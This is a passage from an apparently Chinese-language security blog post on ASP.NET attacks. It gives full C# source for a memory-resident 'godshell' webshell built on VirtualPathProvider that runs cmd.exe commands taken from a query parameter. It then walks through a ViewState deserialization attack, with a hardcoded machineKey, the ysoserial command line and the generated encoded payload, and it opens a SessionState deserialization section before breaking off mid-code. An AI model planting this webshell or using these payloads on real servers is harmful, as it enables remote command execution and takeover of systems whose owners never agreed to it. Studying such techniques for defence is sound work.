26px;color: black;">在global.asax全局文件的Application_Start方法里通过HostingEnvironment类注册这个自定义的实例</p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">访问/myvirtualfile.aspx?cmd=whoami，得到了执行的结果</p></div></li></ul><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">&lt;%@ Import Namespace=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;System.Diagnostics&#34;</span> %&gt;&lt;%@ Import Namespace=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;System.IO&#34;</span> %&gt;&lt;%@ Import Namespace=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;System.Web.Hosting&#34;</span> %&gt;&lt;script runat=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;server&#34;</span> language=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;c#&#34;</span>&gt;    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Page_load</span>()</span>    {        HostingEnvironment.RegisterVirtualPathProvider(<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> MyVirtualPathProvider());            }    <span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">MyVirtualPathProvider</span> : <span style="color: rgb(97, 174, 238);line-height: 26px;">VirtualPathProvider</span>    {        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">override</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">bool</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">FileExists</span>(<span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> virtualPath</span>)</span>        {            virtualPath = virtualPath.ToLower();            <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (virtualPath.Contains(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;godshell&#34;</span>))            {                <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> <span style="color: rgb(86, 182, 194);line-height: 26px;">true</span>;            }            <span style="color: rgb(198, 120, 221);line-height: 26px;">else</span>            {                <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> Previous.FileExists(virtualPath);            }            <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//return base.FileExists(virtualPath);</span>        }        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">override</span> VirtualFile <span style="color: rgb(97, 174, 238);line-height: 26px;">GetFile</span>(<span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> virtualPath</span>)</span>        {            virtualPath = virtualPath.ToLower();            <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (virtualPath.Contains(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;godshell&#34;</span>))            {                <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> MyVirtualFile(virtualPath);            }            <span style="color: rgb(198, 120, 221);line-height: 26px;">else</span>            {                <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> Previous.GetFile(virtualPath);            }            <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//return base.GetFile(virtualPath);</span>        }    }    <span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">MyVirtualFile</span> : <span style="color: rgb(97, 174, 238);line-height: 26px;">VirtualFile</span>    {        <span style="color: rgb(198, 120, 221);line-height: 26px;">private</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> myPath;        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">MyVirtualFile</span>(<span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> virtualPath</span>)            : <span style="color: rgb(97, 174, 238);line-height: 26px;">base</span>(<span style="line-height: 26px;">virtualPath</span>)</span>        {            myPath = virtualPath;        }        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">override</span> Stream <span style="color: rgb(97, 174, 238);line-height: 26px;">Open</span>()</span>        {            Stream stream = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> MemoryStream();            <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (myPath.Contains(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;godshell&#34;</span>))            {                String cmd = System.Web.HttpContext.Current.Request.QueryString[<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;cmd&#34;</span>];                <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (cmd != <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>)                {                    Process p = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> Process();                    p.StartInfo.FileName = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;cmd.exe&#34;</span>;                    p.StartInfo.Arguments = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;/c &#34;</span> + cmd;                    p.StartInfo.UseShellExecute = <span style="color: rgb(86, 182, 194);line-height: 26px;">false</span>;                    p.StartInfo.RedirectStandardOutput = <span style="color: rgb(86, 182, 194);line-height: 26px;">true</span>;                    p.StartInfo.RedirectStandardError = <span style="color: rgb(86, 182, 194);line-height: 26px;">true</span>;                    p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;                    p.Start();                    <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] data = Encoding.Default.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());                    System.Web.HttpContext.Current.Response.Write(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;&lt;pre&gt;&#34;</span> + Encoding.Default.GetString(data) + <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;&lt;/pre&gt;&#34;</span>);                }                <span style="color: rgb(198, 120, 221);line-height: 26px;">else</span>                {                    System.Web.HttpContext.Current.Response.Write(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;虚拟WebShell功能一切正常，尝试执行cmd命令吧！example: godshell.aspx?cmd=ipconfig&#34;</span>);                }            }            <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> stream;        }    }&lt;/script&gt;</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">但其实不用实现virtualFile，直接把payload写在virtualPrivoder中即可，现实中面临免杀的问题其实不是插入位置的问题而是process启动进程的问题，更改位置和更改filter内存马一样意义不大</p><h3 style="margin: 60px auto 10px;color: rgb(255, 255, 255);font-weight: bold;font-size: 17px;background-color: rgb(0, 0, 0);padding: 2px 10px;width: fit-content;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;">viewstate</h3><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">使用条件</h4><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">需要拿到硬编码的 machineKey，一般储存在根目录下的 web.config 文件中。</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">较常见与使用了多点负载均衡部署的传统 ASP.net MVC 开发的网站之中，因为machineKey默认为动态生成，在负载均衡环境中，需要固定使用相同的machineKey才能互相识别其他节点生成的页面里的VIEWSTATE数据。</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通用系统里的 machineKey 一般不会更改。</p></li></ol><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">原理</h4><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">.NET 使用 LosFormatter 序列化数据存储到客户端的ViewState，当提交POST 请求后又会将ViewState保存的数据发送到服务端，这个时候在服务端就会使用 ObjectStateFormatter 进行反序列化，所以我们用ysoserial的LosFormatter生成ViewState数据</p><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">测试环境</h4><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">添加login.aspx</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">&lt;%@ Page Language=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;C#&#34;</span> AutoEventWireup=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;true&#34;</span> CodeBehind=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;login.aspx.cs&#34;</span>Inherits=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;UploadFile.login&#34;</span> %&gt;&lt;!DOCTYPE html&gt;&lt;html xmlns=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;<a href="http://www.w3.org/1999/xhtml" target="_blank">http://www.w3.org/1999/xhtml</a>&#34;</span>&gt;&lt;head runat=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;server&#34;</span>&gt;&lt;meta http-equiv=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Content-Type&#34;</span> content=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;text/html; charset=utf-8&#34;</span>/&gt;&lt;title&gt;&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;form id=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;form1&#34;</span> runat=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;server&#34;</span>&gt;&lt;div&gt;&lt;p&gt;&lt;asp:TextBox runat=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;server&#34;</span> ID=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;userName&#34;</span> placeholder=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;请输入用户名&#34;</span>&gt;&lt;/asp:TextBox&gt;&lt;/p&gt;&lt;p&gt;&lt;asp:TextBox runat=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;server&#34;</span> ID=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;pwd&#34;</span> placeholder=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;请输入密码&#34;</span>&gt;&lt;/asp:TextBox&gt;&lt;/p&gt;&lt;p&gt;&lt;asp:Button runat=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;server&#34;</span> OnClick=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Unnamed_Click&#34;</span> Text=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;登录&#34;</span> /&gt;&lt;/p&gt;&lt;/div&gt;&lt;/form&gt;&lt;/body&gt;&lt;/html&gt;</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">设置login.aspx.cs</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Collections.Generic;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Linq;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Web;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Web.UI;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Web.UI.WebControls;<span style="color: rgb(198, 120, 221);line-height: 26px;">namespace</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">UploadFile</span>{<span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">partial</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">login</span> : <span style="color: rgb(97, 174, 238);line-height: 26px;">System</span>.<span style="color: rgb(97, 174, 238);line-height: 26px;">Web</span>.<span style="color: rgb(97, 174, 238);line-height: 26px;">UI</span>.<span style="color: rgb(97, 174, 238);line-height: 26px;">Page</span>{<span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">protected</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Page_Load</span>(<span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> sender, EventArgs e</span>)</span>{}<span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">protected</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Unnamed_Click</span>(<span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> sender, EventArgs e</span>)</span>{<span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> username = <span style="color: rgb(198, 120, 221);line-height: 26px;">this</span>.userName.Text;<span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> pwd = <span style="color: rgb(198, 120, 221);line-height: 26px;">this</span>.pwd.Text;<span style="color: rgb(198, 120, 221);line-height: 26px;">if</span>(<span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>.IsNullOrEmpty(username) || <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>.IsNullOrEmpty(pwd)){Response.Write(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;not null&#34;</span>);<span style="color: rgb(198, 120, 221);line-height: 26px;">return</span>;}<span style="color: rgb(198, 120, 221);line-height: 26px;">if</span>(username==<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;admin&#34;</span> &amp;&amp; pwd == <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;123456&#34;</span>){Response.Write(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;success&#34;</span>);}<span style="color: rgb(198, 120, 221);line-height: 26px;">else</span>{Response.Write(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;falied&#34;</span>);}}}}</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">设置web.config</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">&lt;?xml version=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;1.0&#34;</span> encoding=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;utf-8&#34;</span>?&gt;&lt;!--有关如何配置 ASP.NET 应用程序的详细信息，请访问https:<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//go.microsoft.com/fwlink/?LinkId=169433</span>--&gt;&lt;configuration&gt;&lt;system.web&gt;&lt;compilation debug=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;true&#34;</span> targetFramework=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;4.7.2&#34;</span> /&gt;&lt;httpRuntime targetFramework=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;4.7.2&#34;</span> /&gt;&lt;pages&gt;&lt;namespaces&gt;&lt;<span style="color: rgb(198, 120, 221);line-height: 26px;">add</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">namespace</span>=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;System.Web.Optimization&#34;</span> /&gt;&lt;/namespaces&gt;&lt;controls&gt;&lt;<span style="color: rgb(198, 120, 221);line-height: 26px;">add</span> assembly=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Microsoft.AspNet.Web.Optimization.WebForms&#34;</span><span style="color: rgb(198, 120, 221);line-height: 26px;">namespace</span>=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Microsoft.AspNet.Web.Optimization.WebForms&#34;</span> tagPrefix=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;webopt&#34;</span> /&gt;&lt;/controls&gt;&lt;/pages&gt;&lt;machineKeyvalidationKey=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;BF579EF0E9F0C85277E75726BFC9D0260FADE8DE2864A583484AA132944F602D&#34;</span>decryptionKey=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;51FE611365277B07911521B7CAFE3766751D16C33D96242F0E63E93FB102BCE2&#34;</span>decryption=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;AES&#34;</span> validation=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;HMACSHA256&#34;</span> /&gt;&lt;/system.web&gt;........&lt;/configuration&gt;</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">payload</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">ysoserial.exe -p ViewState -g TextFormattingRunProperties -c &#34;calc.exe&#34; --path=&#34;/login.aspx&#34; --apppath=&#34;/&#34; --decryptionalg=&#34;AES&#34; --decryptionkey=&#34;51FE611365277B07911521B7CAFE3766751D16C33D96242F0E63E93FB102BCE2&#34; --validationalg=&#34;HMACSHA256&#34; --validationkey=&#34;BF579EF0E9F0C85277E75726BFC9D0260FADE8DE2864A583484AA132944F602D&#34;</p></pre><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">dG%2BXIvGDQVlqrEpKA48OYX9G9sc0WlzQ65MPU3Hm%2FZtYIlHWF19dCQOffbqs5hNvs3FTBKfmIRdNlTh9LseDhdZ6nUIAJTqXUPf9G9XLyIwPrBc4lzCEPJvbtkqal8rYTnuEXvBQtqhkh6Urg0OqDHbkcZfj%2F6bN8cgdQe%2BxZZnrls6P5adeanrNmAcmLTplGGG0gW6Ll5VIedCtyMt3mkHauGTj95F%2B6HSp%2BpqJ806kpaxi5f5FRVXfbO3Ylv7PR%2FpfNRnrMpnuX3SV1NDjbvWyzSn63TFTGXgjIvVk68tCo8QPXWR00iqDugGFuqd6jKHLN8r7tzvebfYxziIESFmPx6dmwe5qZrytqapErGRmMqNHPPCvMaWozwtqhEAqTDLabfaZMAkt0cPIkl57wDEjT0DDQaIRPDDyyqwh1NuLo0vPUBWwjV7VUqyBauATGlnKvcNN4HgSdL2qvZsRGybsIuWrgWbq9LaOEO9B8ZZABhL%2BKCa5qNS4gjZNWqnvnbI6iOqCflWS%2BDg5Fcb0ThI3iS2pSbddIZUDe%2FxE6n93KPyJ27enD%2BTB8QbaPDj2u8YtuWoxDbacxhraHyL29Ep8bCjty189m7hccGJVrfYqsy%2BqqpWyCLGhmgIWMzIsDDl0mgh9FwGA6nBOIOYyH0sAb8TXpfjvjC58GLKfPupWdTG%2FO7iDtGWLFkmCGcRMCeF2JCsttQlsYnIJq4TVaLHtvjGwNZDLKCvApeyO%2FIWpU2BrPe%2FaMNbEaemw7PLm%2BBgF40QFPqXdQaP4e%2B79jAMAjKvJmE9WhfiISROw1DvRuF17hN8X%2Ft6C9gyQRY97g8UMNLKdW77hgdRp%2FEzD5jbG5HY%2Bx1mivd2lEI8COOGPTYm69zHWLO4i3gh3KmCuNNc85XhAxiZpZ8Ytq0QB%2FsVeSt8KS70cpRBbbQmv%2Bffxu%2FLSQaQluGFoXRD55wFNJphST7K5eLlhRclfffcviLYkwiRARx9EAPR4HoBylNfzWJPCBqfEZc%2FrnANizSXwnLfCfMmXa8lT7%2FzFMb3IlSTOvZaqfi%2FA8iiXWCx0HeJwlWvL0VkGld70B%2FrrGbJasD067fMfSKeUQeeGkohnAWdcqYS%2BzYDCOuoMdL%2Bzs4W9SUr0INgqH%2FsxUK4KsXqH%2Fp%2FxVNzXCx65IsfJ%2BqTkU8kJc%2BDPgs8LnRAq6Q1pMhY8qSaNlJ%2FC6hEwRBNY8mlVO%2B8cBkN7uWoqFvsGZPPxSJZ0flXo%2FDdjJMcS%2FKzgAwcRu92AojRQOKBzYFNDRGpia7uSnH3zIhez4BBT2Jou3g%3D%3D</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">本地测试是因为burp抓包问题，ip应设置为内网非127.0.0.1的ip，如果用virtual stdio调试，需修改host头未localhost</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4647137150466045" data-s="300,640" data-type="png" data-w="751" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=950b271b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia7umLfDBaXpdGFQhQXOCQCAQ3aZQCtd3pCafd2sqUn81hMwwjFGUX4Q%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin: 60px auto 10px;color: rgb(255, 255, 255);font-weight: bold;font-size: 17px;background-color: rgb(0, 0, 0);padding: 2px 10px;width: fit-content;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;">sessionstate</h3><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">前置条件</h4><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: square;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">sqlserver sa权限</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">服务器负载均衡，.net站点session存放在数据库中</p></li></ul><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">服务器调用时反序列化取出session</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: 